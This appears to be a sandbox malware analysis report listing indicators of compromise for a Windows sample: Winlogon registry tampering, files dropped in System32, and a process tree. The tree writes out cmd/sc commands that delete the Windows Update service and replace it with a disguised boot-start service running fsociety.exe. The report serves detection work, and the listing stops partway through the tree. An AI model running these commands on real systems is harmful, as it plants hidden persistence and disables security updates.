Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore\DllName = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Asynchronous = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\DllName = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName = "Admin"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableLockScreen = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore\Asynchronous = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Logon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore\Logon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonCount = "999999"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe

Drops file in System32 directory 43 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\System32\bootexec.bat	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e580aa9\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e580aa9\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e580f2e\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e5813b2\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58147d\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e5814bc\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e580635\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2152	sc.exe
6904	Process not Found
6744	Process not Found
956	sc.exe
7304	sc.exe
4032	sc.exe
5300	sc.exe
3988	sc.exe
2524	sc.exe
1444	sc.exe
1668	sc.exe
6480	sc.exe
4836	sc.exe
7188	Process not Found
7520	Process not Found
3268	sc.exe
4892	sc.exe
3476	sc.exe
5736	sc.exe
6196	sc.exe
6600	sc.exe
2964	Process not Found
5392	sc.exe
3692	Process not Found
8008	Process not Found
1240	sc.exe
4068	sc.exe
6264	sc.exe
6148	sc.exe
5552	sc.exe
6548	Process not Found
4164	sc.exe
3228	sc.exe
5684	sc.exe
4172	sc.exe
4164	sc.exe
4484	sc.exe
1692	sc.exe
4924	sc.exe
3672	sc.exe
3800	sc.exe
2416	sc.exe
5984	sc.exe
7664	Process not Found
5868	sc.exe
1576	sc.exe
1588	sc.exe
1692	sc.exe
5908	sc.exe
7576	sc.exe
6644	Process not Found
5792	sc.exe
2896	sc.exe
1640	sc.exe
5768	sc.exe
4164	sc.exe
6856	Process not Found
7500	Process not Found
5436	sc.exe
444	sc.exe
6176	sc.exe
5584	sc.exe
4988	sc.exe
3484	sc.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4780	cmd.exe
4060	cmd.exe
5272	cmd.exe
2860	cmd.exe
1144	cmd.exe
2240	cmd.exe
4484	cmd.exe
6192	cmd.exe
5008	cmd.exe
5768	cmd.exe
1816	cmd.exe
7892	cmd.exe
8152	cmd.exe
7952	cmd.exe
2232	Process not Found
3880	cmd.exe
2348	cmd.exe
1176	cmd.exe
5408	cmd.exe
2260	cmd.exe
2516	cmd.exe
3028	cmd.exe
7264	Process not Found
6888	Process not Found
3616	cmd.exe
5872	cmd.exe
5980	cmd.exe
6364	cmd.exe
1188	cmd.exe
5800	cmd.exe
6708	cmd.exe
7380	cmd.exe
5668	cmd.exe
5448	cmd.exe
1692	cmd.exe
7024	cmd.exe
2596	cmd.exe
2384	cmd.exe
240	cmd.exe
7692	cmd.exe
6464	Process not Found
3240	cmd.exe
6492	cmd.exe
8036	cmd.exe
7208	Process not Found
4228	cmd.exe
6116	cmd.exe
228	cmd.exe
7480	cmd.exe
5596	cmd.exe
6628	Process not Found
3476	cmd.exe
5284	cmd.exe
564	cmd.exe
5472	cmd.exe
8184	cmd.exe
7008	Process not Found
2072	cmd.exe
5996	cmd.exe
832	cmd.exe
1532	cmd.exe
4460	cmd.exe
5196	cmd.exe
744	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 22 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2728	Process not Found
8172	Process not Found
1016	netsh.exe
7000	cmd.exe
7336	Process not Found
3056	netsh.exe
6492	cmd.exe
7908	cmd.exe
8016	netsh.exe
6324	netsh.exe
5300	Process not Found
6688	Process not Found
2560	cmd.exe
7428	cmd.exe
6556	netsh.exe
8156	Process not Found
1760	Process not Found
4880	cmd.exe
2148	netsh.exe
4100	cmd.exe
6776	netsh.exe
7864	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 50 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7312	schtasks.exe
6264	schtasks.exe
6720	schtasks.exe
3700	schtasks.exe
5476	schtasks.exe
5904	schtasks.exe
5628	schtasks.exe
3176	schtasks.exe
7224	schtasks.exe
8156	schtasks.exe
7112	Process not Found
1744	schtasks.exe
892	schtasks.exe
328	schtasks.exe
6576	Process not Found
4544	schtasks.exe
1576	schtasks.exe
4320	schtasks.exe
2028	schtasks.exe
5504	schtasks.exe
8076	schtasks.exe
7112	schtasks.exe
6548	schtasks.exe
1688	schtasks.exe
5432	schtasks.exe
4512	schtasks.exe
428	schtasks.exe
6828	schtasks.exe
7244	Process not Found
420	schtasks.exe
5344	schtasks.exe
5088	schtasks.exe
2380	schtasks.exe
7944	schtasks.exe
6268	schtasks.exe
6620	schtasks.exe
7528	schtasks.exe
4520	schtasks.exe
5956	schtasks.exe
3984	Process not Found
2468	schtasks.exe
5800	schtasks.exe
4392	schtasks.exe
2892	schtasks.exe
1928	schtasks.exe
7948	schtasks.exe
5488	Process not Found
5576	Process not Found
4228	schtasks.exe
5104	schtasks.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1444	WMIC.exe
Token: SeSecurityPrivilege	1444	WMIC.exe
Token: SeTakeOwnershipPrivilege	1444	WMIC.exe
Token: SeLoadDriverPrivilege	1444	WMIC.exe
Token: SeSystemProfilePrivilege	1444	WMIC.exe
Token: SeSystemtimePrivilege	1444	WMIC.exe
Token: SeProfSingleProcessPrivilege	1444	WMIC.exe
Token: SeIncBasePriorityPrivilege	1444	WMIC.exe
Token: SeCreatePagefilePrivilege	1444	WMIC.exe
Token: SeBackupPrivilege	1444	WMIC.exe
Token: SeRestorePrivilege	1444	WMIC.exe
Token: SeShutdownPrivilege	1444	WMIC.exe
Token: SeDebugPrivilege	1444	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1444	WMIC.exe
Token: SeRemoteShutdownPrivilege	1444	WMIC.exe
Token: SeUndockPrivilege	1444	WMIC.exe
Token: SeManageVolumePrivilege	1444	WMIC.exe
Token: 33	1444	WMIC.exe
Token: 34	1444	WMIC.exe
Token: 35	1444	WMIC.exe
Token: 36	1444	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1444	WMIC.exe
Token: SeSecurityPrivilege	1444	WMIC.exe
Token: SeTakeOwnershipPrivilege	1444	WMIC.exe
Token: SeLoadDriverPrivilege	1444	WMIC.exe
Token: SeSystemProfilePrivilege	1444	WMIC.exe
Token: SeSystemtimePrivilege	1444	WMIC.exe
Token: SeProfSingleProcessPrivilege	1444	WMIC.exe
Token: SeIncBasePriorityPrivilege	1444	WMIC.exe
Token: SeCreatePagefilePrivilege	1444	WMIC.exe
Token: SeBackupPrivilege	1444	WMIC.exe
Token: SeRestorePrivilege	1444	WMIC.exe
Token: SeShutdownPrivilege	1444	WMIC.exe
Token: SeDebugPrivilege	1444	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1444	WMIC.exe
Token: SeRemoteShutdownPrivilege	1444	WMIC.exe
Token: SeUndockPrivilege	1444	WMIC.exe
Token: SeManageVolumePrivilege	1444	WMIC.exe
Token: 33	1444	WMIC.exe
Token: 34	1444	WMIC.exe
Token: 35	1444	WMIC.exe
Token: 36	1444	WMIC.exe
Token: SeSystemtimePrivilege	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Token: SeIncreaseQuotaPrivilege	5436	WMIC.exe
Token: SeSecurityPrivilege	5436	WMIC.exe
Token: SeTakeOwnershipPrivilege	5436	WMIC.exe
Token: SeLoadDriverPrivilege	5436	WMIC.exe
Token: SeSystemProfilePrivilege	5436	WMIC.exe
Token: SeSystemtimePrivilege	5436	WMIC.exe
Token: SeProfSingleProcessPrivilege	5436	WMIC.exe
Token: SeIncBasePriorityPrivilege	5436	WMIC.exe
Token: SeCreatePagefilePrivilege	5436	WMIC.exe
Token: SeBackupPrivilege	5436	WMIC.exe
Token: SeRestorePrivilege	5436	WMIC.exe
Token: SeShutdownPrivilege	5436	WMIC.exe
Token: SeDebugPrivilege	5436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5436	WMIC.exe
Token: SeRemoteShutdownPrivilege	5436	WMIC.exe
Token: SeUndockPrivilege	5436	WMIC.exe
Token: SeManageVolumePrivilege	5436	WMIC.exe
Token: 33	5436	WMIC.exe
Token: 34	5436	WMIC.exe
Token: 35	5436	WMIC.exe
Token: 36	5436	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5184 wrote to memory of 4808	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	81
PID 4808 wrote to memory of 3476	4808	cmd.exe	83
PID 5184 wrote to memory of 4388	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	84
PID 4388 wrote to memory of 1336	4388	cmd.exe	86
PID 5184 wrote to memory of 1848	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	87
PID 1848 wrote to memory of 2528	1848	cmd.exe	89
PID 5184 wrote to memory of 4780	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	90
PID 4780 wrote to memory of 1116	4780	cmd.exe	92
PID 5184 wrote to memory of 2352	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	93
PID 2352 wrote to memory of 1080	2352	cmd.exe	95
PID 5184 wrote to memory of 3880	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	96
PID 3880 wrote to memory of 564	3880	cmd.exe	98
PID 5184 wrote to memory of 5008	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	99
PID 5008 wrote to memory of 3208	5008	cmd.exe	101
PID 5184 wrote to memory of 3164	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	102
PID 3164 wrote to memory of 2164	3164	cmd.exe	104
PID 5184 wrote to memory of 4844	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	105
PID 4844 wrote to memory of 896	4844	cmd.exe	107
PID 5184 wrote to memory of 2360	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	108
PID 2360 wrote to memory of 4164	2360	cmd.exe	560
PID 5184 wrote to memory of 1300	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	111
PID 1300 wrote to memory of 1488	1300	cmd.exe	113
PID 5184 wrote to memory of 5028	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	114
PID 5028 wrote to memory of 4032	5028	cmd.exe	116
PID 5184 wrote to memory of 3192	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	117
PID 3192 wrote to memory of 1624	3192	cmd.exe	506
PID 5184 wrote to memory of 3012	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	120
PID 3012 wrote to memory of 4784	3012	cmd.exe	273
PID 5184 wrote to memory of 2336	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	125
PID 2336 wrote to memory of 3028	2336	cmd.exe	389
PID 5096 wrote to memory of 3616	5096	fsociety.exe	130
PID 1836 wrote to memory of 2240	1836	fsociety.exe	131
PID 5184 wrote to memory of 2340	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	134
PID 2340 wrote to memory of 3988	2340	cmd.exe	136
PID 3616 wrote to memory of 752	3616	cmd.exe	678
PID 2240 wrote to memory of 4988	2240	cmd.exe	799
PID 5184 wrote to memory of 4460	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	139
PID 4460 wrote to memory of 5400	4460	cmd.exe	141
PID 5184 wrote to memory of 5388	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	142
PID 5096 wrote to memory of 5284	5096	fsociety.exe	144
PID 1836 wrote to memory of 5288	1836	fsociety.exe	145
PID 5388 wrote to memory of 5304	5388	cmd.exe	405
PID 5284 wrote to memory of 5232	5284	cmd.exe	610
PID 5288 wrote to memory of 5436	5288	cmd.exe	424
PID 5184 wrote to memory of 5496	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	151
PID 5096 wrote to memory of 5468	5096	fsociety.exe	153
PID 1836 wrote to memory of 5456	1836	fsociety.exe	155
PID 5456 wrote to memory of 5588	5456	cmd.exe	663
PID 1836 wrote to memory of 5572	1836	fsociety.exe	158
PID 5572 wrote to memory of 5856	5572	cmd.exe	160
PID 5496 wrote to memory of 5552	5496	cmd.exe	916
PID 5468 wrote to memory of 5528	5468	cmd.exe	947
PID 1836 wrote to memory of 5520	1836	fsociety.exe	163
PID 5184 wrote to memory of 2596	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	165
PID 5096 wrote to memory of 5720	5096	fsociety.exe	167
PID 5720 wrote to memory of 2152	5720	cmd.exe	981
PID 5520 wrote to memory of 2524	5520	cmd.exe	744
PID 2596 wrote to memory of 356	2596	cmd.exe	171
PID 5096 wrote to memory of 1904	5096	fsociety.exe	172
PID 1836 wrote to memory of 1852	1836	fsociety.exe	174
PID 5184 wrote to memory of 4060	5184	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	176
PID 1904 wrote to memory of 1548	1904	cmd.exe	780
PID 1852 wrote to memory of 444	1852	cmd.exe	738
PID 5096 wrote to memory of 2820	5096	fsociety.exe	180

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
"C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Uses Session Manager for persistence
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:3476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:1336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:2528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:1080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:3208
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:2164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:4164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:1488
- C:\Windows\SYSTEM32\cmd.exe
